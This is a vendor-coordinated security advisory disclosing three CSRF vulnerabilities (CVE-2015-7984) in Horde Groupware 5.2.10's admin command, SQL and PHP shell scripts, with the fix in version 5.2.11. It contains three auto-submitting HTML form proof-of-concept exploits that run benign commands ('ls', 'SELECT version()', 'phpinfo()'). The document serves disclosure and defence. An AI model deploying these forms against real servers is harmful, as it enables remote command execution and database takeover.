RCE and SQL injection via CSRF in Horde Groupware

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>]

Advisory ID: HTB23272
Product: Horde Groupware 
Vendor: http://www.horde.org
Vulnerable Version(s): 5.2.10  and probably prior
Tested Version: 5.2.10 
Advisory Publication:  September 30, 2015  [without technical details]
Vendor Notification: September 30, 2015 
Vendor Patch: October 22, 2015 
Public Disclosure: November 18, 2015 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2015-7984
Risk Level: High 
CVSSv3 Base Score: 8.3 [CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered three Cross-Site Request 
Forgery (CSRF) vulnerabilities in a popular collaboration suite Horde 
Groupware, used by a variety of companies around the world. These 
vulnerabilities are very dangerous, since they can be used in targeted attacks 
against corporate clients. An attacker might be able to gain unauthorized 
access to information, stored in database, execute arbitrary commands on the 
server, compromise the entire application and perform attacks against 
application users and company’s infrastructure. 


1) Cross-Site Request Forgery in Horde Groupware: CVE-2015-7984

1.1 The vulnerability exists due to failure in the "/admin/cmdshell.php" script 
to properly verify the source of HTTP request. A remote attacker can trick a 
logged-in administrator to visit a malicious page with CSRF exploit and execute 
arbitrary system commands on the server.

CSRF exploit below sends HTTP POST request to vulnerable script and instructs 
it to display output of "/bin/ls" command. As a result, you will see contents 
of "/admin/" directory:


<form action="http://[host]/admin/cmdshell.php"; method="post" name="main">
<input type="hidden" name="cmd" value="ls">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>


1.2 The vulnerability exists due to failure in the "/admin/sqlshell.php" script 
to properly verify the source of HTTP request. A remote attacker can trick a 
logged-in administrator to visit a malicious page with CSRF exploit and execute 
arbitrary SQL queries with application’s database.

The exploit code below executes "SELECT version()" query and displays version 
of current MySQL server: 


<form action="http://[host]/admin/sqlshell.php"; method="post" name="main">
<input type="hidden" name="sql" value="SELECT version()">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>


1.3 The vulnerability exists due to failure in the "/admin/phpshell.php" script 
to properly verify the source of HTTP request. A remote attacker can trick a 
logged-in administrator to visit a malicious page with CSRF exploit and execute 
arbitrary php code on the server.

The exploit code below executes the "phpinfo()" function and displays its 
output:


<form action="http://[host]/admin/phpshell.php"; method="post" name="main">
<input type="hidden" name="app" value="horde">
<input type="hidden" name="php" value="phpinfo();">
<input value="submit" id="btn" type="submit" />
</form>
<script>
document.getElementById('btn').click();
</script>


-----------------------------------------------------------------------------------------------

Solution:

Update to Horde Groupware 5.2.11

More Information:
http://lists.horde.org/archives/announce/2015/001137.html

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23272 - 
https://www.htbridge.com/advisory/HTB23272 - Multiple CSRF Vulnerabilities in 
Horde Groupware.
[2] Horde Groupware - http://www.horde.org - Horde Groupware is a free, 
enterprise ready, browser based collaboration suite.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.